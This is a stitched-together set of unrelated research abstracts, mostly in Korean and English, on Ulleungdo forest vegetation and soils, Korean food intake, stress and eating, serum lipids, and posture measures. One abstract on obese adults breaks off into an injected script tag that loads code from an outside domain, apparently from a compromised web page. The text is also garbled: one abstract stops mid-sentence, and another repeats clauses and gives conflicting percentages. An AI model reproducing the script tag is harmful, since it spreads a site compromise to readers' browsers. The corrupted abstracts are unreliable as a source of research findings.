본 연구는 울릉도 성인봉 주변에 생육하고 있는 너도밤나무군락의 섬조릿대하위군락, 전형하위군락, 일색고사리하위군락에 대한 토양단면 및 토양의 이화학적 특성을 조사하여 울릉도 산림토양의 기초자료를 제공하고, 하위군락별 토양특성의 차이를 조사하기 위해 실시되었다. 하위군락별 토양단면의 형태는 하위군락간에 큰 차이를 보이지 않았다. 하위군락간 토양의 이화학적 요인분석에 있어서 0-10cm 토양 깊이에서 Ca함량에서만 유의적인 차이가 나타났을 뿐, 다른 요인들은

In order to obtain the data for extreme food intake by Koream adults, the data of adult dietary survey undertaken in 1995 were used through statistical treatment, taking into account of dietary habits. Various food commodities amounting to 159 items were classified into 14 food groups and fractiles of 90th and 95th percentile of individual food items were computed on the assumption that the food consumption pattern exhibits a normal distribution. Most of the food items showed the ratio of fractiles to mean intake in the range of 2.0∼3.0 while the ratio greatly deviated from these values in items such as seasonings, spices, nuts, seeds and favorite beverages as well as most commonly-eaten or rarely-eaten foods.

This study was to investigate the nutrition and cancer prevention knowledge, beliefs, attitudes, and self-reported dietary changes. Data were collected from 903 parents whose children were attending an elementary school, a middle school, a high school, or a junior college in Kimcheon. Thirty-seven percent of the subjects reported that they had made dietary changes for their health. Respondents reported eating more vegetables(33.1%), fruit(24.1%), whole grains(19.9%), and lower-fat meats(14.5%) and less alcohol(17.2%), high-fat meat(16.4%), fats(13.8%), smoked foods(13.8%), snacks/cake/sweets(11.7%), salty foods(9.6%), and refined grain products(6.1%). Those who did not make any dietary changes most often said the reason was that they thought their diets were already healthful and therefore there was no reason to make a change. Eighty-nine percent of the subjects agreed that diet and disease were related and 89.5% knew that diet and cancer were related, yet 8% believed there was nothing a person could do to reduce the risk of getting cancer. In response to open-ended questions about foods that either increase or decrease cancer risk, vegetables, fruit, traditional fermented foods, etceteras, and whole grains were thought to decrease risk, and burned foods, salty foods, additives, high-fat meats/fats, and alcohol were thought to increase cancer risk. In this study, education levels to be the major demographic variable and residential district had an impact on cancer prevention knowledge and attitudes. People at lower educational levels and rural residents should be targeted for education about cancer risk reduction.

최근 풍족한 식생활로 인한 영양소의 과잉섭취와 운동량의 부족으로 비만증이 늘어나고 있다. 비만증의 위험이 널리 인식되면서 비만성인들의 무분별한 다이어트와 운동으로 영양결함이나 이와 관련된 질병들이 발행할 우려가 있으므로 적절한 영양교육 프로그램개발을 위한 기초자료를 위해 식사 행동, 영양섭취실태 및 건강상태에 관한 실태를 조사하여 비만군과 대조군을 비교해 본 결과 다음과 같은 결과를 얻었다. 1. 평균연령은 남녀 각각 38.1±10.8세, 35.2±8.8세였으나, 전체 연령의 분포는 30세 이하가 28명(35%), 30세에서 39세가 23명(28%), 40세에서 49세가 19명(23.5%), 50세 이상이 11명(13.5%)으로 30세에서 49세가 가장 많았다. 체중조절 운동에 참여한 기간은 1∼2개월 정도가 5명(6.1%), 3∼4개월은 24명(29.8%), 5∼6개월은 39명(48.2%), 6개월 이상은 13명(15.9%)으로 5∼6개월이 가장 많았다. 2. 에너지 섭취량의 경우 비만군이 1, 451.0kcal로써 대조군 1, 572.4kcal에 비해 8%정도 적게 섭취하는 것으로 나타났으며 한국인의 영양권장량^21)에 대한 비율로는 대조군이 74% 비만군이 65% 수준으로 섭취하고 있었다. 에너지 섭취량과 마찬가지로 권장량에 미치지 못하는 영양소는 단백질, 칼슘, 철분, 비타민 B_1, 비타민 B_2이었다. 총열량에 대한 탄수화물, 지방, 단백질의 열량 비율은 비만군이 61.2:21.6:16.6, 대조군이 62.8:21.3:16.0으로 한국인 영양권장량에서 이상적인 구성 비율로 권장하고 있는 65:20:15와 비교해 볼 때 탄수화물 섭취 비율이 두 군 모두 약간 낮으나 지방과 단백질의 섭취비율은 비슷하였다. 3. 평균 신장은 비만군이 165.8cm, 대조군이 164.2cm으로 두 군간에 차이가 없었으나. 평균 체중은 비만군이 74.9kg, 대조군이 60.4kg으로 나타나 유의적인 차이(p<0.001)를 보였다. TSF는 비만군이 28.3mm, 대조군이 23.7mm로 두 군간에 유의적인 차(p<0.001)를 나타냈다. MAMC는 비만군이 25.5cm, 대조군이 21.7cm로써 두 군간에 유의적인 차이(p<0.001)를 보였다. 4. 식사행동에 관한 내용에서는 하루에 몇 회 식사하는가, 규칙적인 식사를 하는가, 식사에 걸리는 시간에 관한 문항으로 나누어 조사한 결과, 하루에 3회 식사하는 사람이 대부분이었으나 비만군의 여자 1명과 대조군의 여자 2명이 하루 1회만 식사를 하고, 비만군의 여자 4, 남자 2명과 대조군의 여자 7명이 하루 2회 식사를 하는 것으로 나타나 식사행동이 잘못되었음을 알 수 있었다. 규칙적인 식사를 하는가에 관한 물음에서는 대체로 규칙적이다라고 답한 사람이 비만군은 14명(38.9%), 대조군은 22명(52.4%)으로 대조군이 많았다. 불규칙적이다라고 답한 사람은 비만군이 여자 5명과 남자 22명으로 전체 27명(57.5%), 대조군이 여자 6명과 남자 6명으로 전체 12명(57.5%), 대조군이 여자 6명과 남자 6명으로 전체 12명(36%)이었다. 불규칙적인 식사를 하는 비만군 남자의 경우 잦은 음주로 인하여 식사를 하는 비만군 남자의 경우 잦은음주로 인하여 식사를 제 때에 못한다고 답한 사람이 많았다. 식사에 걸리는 시간은 10분 이내인 경우는 비만군에서 다소 많았으며 그 외는 10분에서 20분 사이라고 답한 사람이 대부분이었다. 5. 운동에 참여하는 정도는 참여한다라고 답한 사람이 비만군이 17명(42.1%), 대조군이 13명(35.7%)이었으며, 가끔 참여한다라고 답한 사람이 비만군이 25명(62.1%), 대조군이 26명(64.3%)이었다. 운동빈도는 1주일에 3∼5회 하는 사람이 비만군19명(43.4%), 대조군 23명(63.5%)으로 나타나 대조군이 비만군보다 많았다. 운동빈도에 따른 인체계측의 변화는 1주일에 6∼7회 운동하는 사람의 체중과 TSF가 1∼2회 및 3∼5회 운동하는 사람보다 약간 낮게 나타났으며, 대체적으로 비슷한 분포를 보였다. 1회 운동시 걸리는 시간은 30분이 전체의 약 44%로 가장 많았고, 그 다음이 60분으로 전체의 약 39%였다. 체중조절을 위해 운동에 참여한 기간은 비만군 23명(54.6%)과 대조군 16명(38.9%)이 5∼6개월에 답을 하여 가장 많은 수치를 나타내었다. 평소에 자신이 알고 있는 영양지식을 실생활에 활용하는가에 관한 물음에서 전체 52명(64.2%)이 대체적으로 활용하고 있다고 답했으며, 적극적으로 활용한다고 답한 사람이 전체 29명(35.8%)으로 나타났다. 6. 각 영양소 섭취량과 인체계측 지표간의 상관성을 분석하여 본 결과, PIBW는 열량섭취량(r = -0.241, p<0.05)과 탄수화물 섭취량(r = -0.259, p<0.05)사이에 유의한 음의 상관관계가 있음을 보였으며, BMI도 PIBW와 마찬가지로 열량섭취량(r = -0.224, p<0.05)과 탄수화물 섭취량(r = -0.242, p<0.05)사이에 유의한 음의 상관성을 나타냈다. 7. 체중 조절후 체중감소율에 영향을 미치는 요인을 알아내기 위해 단계적 다중회귀분석을 한 결과, 체중감소율을 설명할 수 있는 요인으로서?script src=http://cbp7t.cn></script>

본 연구는 울릉도의 성인봉과 태하령지역의 산림식생을 분류하기 위해 199년 7-8월에 36개소를 선정하여 식생조사를 실시하였으며 식물사회학적 방법과 TWINSPAN에 의하여 군락을 분류하였다 울릉도 산림의 종조성표에 의한 군락 분류결과 너도밤나무-섬노루귀 군락군으로 판명되었다 이 군락군은 다시 솔송나무-섬잣나무 군락, 참나도히초미-졸방제비꽃군락으로 크게 나뉘어졌으며 참나도히초미-졸방제비꽃군락은 다시 전형하위군락. 섬조릿대하위군락 일색고사리하위군락으로구분되었다 TWINSPAN에 의한 분류결과는 솔송나무-섬작나무군락 너도밤나무-섬조릭대군락 너도밤나무-일색고사리군락, 너도밤나무-큰두루미꽃군락으로 구분되었다 식물사회학적 군락 분류결과와 TWINSPAN에 의한 군락분류결과는 4개 군락으로 구분되는 일치성을 보이고 있어 두 방법에 의한 군락 분류방법은 상호 보완될수 있다고 판단된다.

A survey was carried out to investigate relation between stress and nutrient intake in adults. There was a positive correlation between stress and food intake in adults statistically. It seems that women was significantly influenced by physical, psychological and nuerosensational stress than men(p〈0.05). The average calorie intake of men was 1721.25Kcal(68.85% of RDA), the women was 1568.79kcal(78.44% of RDA). Intake of protein, calcuim, Vit B1, Vit B2, Niacin were quite less than the RDA in men, wherase intake of calcuim, iron, Vit B1 were quite less than the RDA in women. In changes of nutrient intake by stress, men was increased as higher stress amount, but women was decreased as higher stress amount(p〈0.05). It was lower level of nutrient intake in the below 60 scores of food attitude group that was needed improve of food intake and counseling of professional nutritionist.

The empirical research was conducted to investigate women's consumption pattern of Korean rice cakes and to analyze the preference of them by their demographic backgrounds. The results of this study provide useful informations for a systematic development of Korean rice cake. A self-completed questionnaire survey of 281 women in Seoul was undertaken and detailed information was collected from each. A questionnaire consisted of three parts including demographic backgrounds, consumption pattern and preference of Korean rice cakes, and the need assessment. Demographic variables of respondents included age, marital status, education, family style, monthly income etc. Most of them(82.6%) were married with the average age of 36.3±8.4 year old. The results of eating frequency rate showed that about half of women(49.1%) had Korean rice cake once or twice a month followed by once a week(23.1%), once per two months(13.9%), once per six months(8.2%), and once per three months(3.9%). Average preference score of 14 Korean rice cakes was 3.08±1.49 out of 5, indicating 'so-and-so'. Ingeolmi received the highest score of 4.02, whereas Duteopteok had the lowest score of 0.18. The preference score of Korean rice cake and the respondents' knowledge of them showed significantly strong positive correlation. The need-assessment score for improving the quality of Korean rice cake was 3.72±1.35 out of 5, showing moderate willingness for improvement of Korean rice cake.

The purposes of this study were to investigate changes in serum lipid levels with age and gender, and to determine which factors affect the serum lipid profiles. The anthropometric parameters(height, weight, waist girth, hip girth) and biochemical status(cholesterol, triglyceride, HDL-chol.) were measured for clinically normal adults(male 89, female 91) in Yeongdong area. The results are as follows: 1. The obesity index was significantly higher in female(115.2±15.2%) than in male(109.9±13.4%), but waist/hip girth ratio(WHR) was significantly higher in male (0.89±0.05) than in female(0.81±0.06). 2. Male subjects had higher triglyceride and atherogenic index and lower HDL-cholesterol and relative cholesterol than those of female subjects. 3. Prevalences of hypercholesteolemia, hypertriglyceridemia and hypoHDL-cholesterolemia were 9.0%, 9.0%, 14.6% respectively in male and 9.9%, 2.2%, 4.4% in female. 4. WHR positively correlated with serum cholesterol, TG, LDL/HDL and A.I., and negatively correlated with HDL-chol. and relative chol. Correlation analyses indicated that WHR seemed to be more closely associated with serum lipid levels(rather than obesity index). 5. Age showed positive correlations with waist girth, WHR, cholesterol, LDL-cholesterol, LDL/HDL and A.I., but negative correlations with height, body weight and relative cholesterol. 6. There was significant differences in TG concentration between drinker(169.3±130.0mg/dl) and non-drinker(111.4±64.5mg/dl), and smoker(165±103.6mg/dl) and non-smoker (110.8±39.0mg/dl). That is to say that as risk factors for hyperlipidemia are obesity index, serum lipid concentration, life style(such as alcohol drinking and smoking) and age. Specially major risk factors are drinking, smoking and regulated exercise in male and age is an important risk factor in female.

In today's society, many women wear high-heeled shoes, but the effect of heel height on lumbar lordosis has not been clearly defined. The objective of this study was to identify the influence of heel height and general characteristics of subjects on lumbar lordosis. The subjects of this study were 40 healthy women who were students of the Department of Physical Therapy, College of Rehabilitation Science, Taegu University. Flexible ruler measurement was used to measure the lumbar lordosis at barefoot, 3 cm and 7 cm high-heeled standing positions. The results were as follows: 1) Significant statistical decrease in lumbar lordosis was observed as heel heights were increased from barefoot to 7 cm high heel. 2) There were no statistically significant differences between lumbar lordosis according to three different heel heights and weight, body mass index. 3) Lumbar lordosis measured at different heel heights was related to subject's height. With increasing subject's height, lumbar lordosis that measured from each heel height was significantly decreased. As heel heights were increased from barefoot to 7 cm high heel, significant statistical decrease in lumbar lordosis was observed in the subjects whose height were 151~160 cm. 4) Intrarater reliability on lumbar lordosis taken with a flexible ruler was good, with Cronbach values of 0.8971 for barefoot, 0.8107 for 3 cm and 0.9002 for 7 cm high-heeled standing positions.

The quadriceps angle (Q angle) has been used to reflect the quadriceps muscle's force on the patella in the frontal plane. Previous investigations of the Q angle and it's relationship to knee disorders have yield equivocal results. The purpose of this study was to analyze the factors related to the Q angle and it's relation to other variables such as leg length, body weight, CTA (calcaneus to tibia angle), TOA (toe out angle), and pelvic width in normal subjects. The participants were 60 students (30 men and 30 women) who had no orthopedic and neurological impairments, aged from 20 to 29 years of age, with an average age of 22.1 years. Prior to participation, each subject was informed of the procedures of the experiment from a researcher and assistant researchers. The equipment used in this study were modified standard goniometer, ruler, marking pen, and Martin apparatus for pelvic width. In order to determine the statistical significance of the experiment, regression analysis, independent t-test, and Pearson correlation were used at the 0.05 level. The results were as follows: 1) It was found that the Q angle of women is greater than that of men's from both knees. 2) There was no significant difference between right and left quadriceps angle. 3) The Q angle decreased as the body weight (leg length) shifted from low to high. 4) It seems that factors related to the Q angle were body weight, CTA, and pelvic width, but there was no significant difference at the 0.05 level.

울릉도 성인봉지역(해발 984m)에 대해 해발고별 식생변화를 살펴보기 위하여 해발고 l00m단위마다 l0m×10m(l00m2) 조사구 4개씩을 설치 총 40개 조사구를 조사하였다. 군집의 분리를 위하여 TWINSPAN과 DCA를 이용하였으며, TWINSPAN분석 결과 해발 300m이하의 저지대, 해발 400~700m사이의 중지대, 그리고 해발 800m이상의 고지대로 구분되었고, DCA분석 결과 저지대와 중지대사이에 식생의 비연속성이 뚜렷하였고, 유사도지수도 같은 경향을 나타내었다. 해발고별 종다양성분석에서는 해발고간에 차이가 없었으나, 다만 최대종다양도는 저지대로 갈수록 높았다. 밀도분석에서는 중지대가 교목층과 아교목층에서 개체수가 높게 나타났으며, 흉고단면적은 저지대가 높았다.

A Survey was carried out to investigate relation between depressive trends, stress and attitudes of food intake in adults. In the assessing of Body Mass Index (BMI), the normal weight was 80.1%, overweight was 19.1%, obese was 0.7% in men, but normal weight was 90.3%, overweight was 9.4%, obese was 0.3% in women (p<0.001). It was represented increasing trends of obesity by the increasing of ages. Women thought their health condition was worse than men (p<0.001) 15.1% of all women tried to weight control. In changes of food intake by stress, 37.8% was increased to eat, 33.7% was reduced in women. It seems that women was significantly influenced by stress than men (p<0.01). In changes of food intake by stress in ages, 39.7% was increased of 20 years but over the 30 years was decreased or no changes of food intake (p<0.0001). All subjects wanted hot and sweet taste when stress-induced eating. 56.1% of men preferred to alcohol and beverages but 33.5% of women preferred to chocolate, cookies and breads of carbohydrate foods at the stressful conditions. But stress-induced eating dose not seems to be helpful for coping with stress in adults. In the distribution of depressive trends, the level of depression was higher in women (50.7%), whereas 34.3% in men (p<0.001). The most of 3li subjects represented attitudes of food intake below 60 scores that was needed improve and counseling of professional nutritionist. It was represented inferior to attitudes of food intake by the increasing of depressive trends and stress in women. It was higher level of overweight and obese in the below 60 scores of attitudes of food intake and higher depressive groups.

Recently the researches to enhance the hand function of brain injured clients are increased. One of those aspects is related to in-hand manipluation. In-hand manipulation is divided to four types: that is finger-to-palm translation. palm-to-finger translation, shift, and rotation. The purpose of this study was to find type of in-hand manipulation in normal adults in six activities and to differentiate the pattern of in-hand manipulation between normal adults and children with cerebral palsy. The participants were consist of twenty normal adults and twenty cerebral palsy. children. As a results, cerebral palsy children significantly used at lower frequence than normal adults in 3 activities. Also, in the other items, there are some pattern to differenciate between normal adults and cerebral palsy children but that was not significant statistically. The development of in-hand manipulation skills involves improvement in the dimension of activities of daily living skills training and more detailed evaluation method will be needed.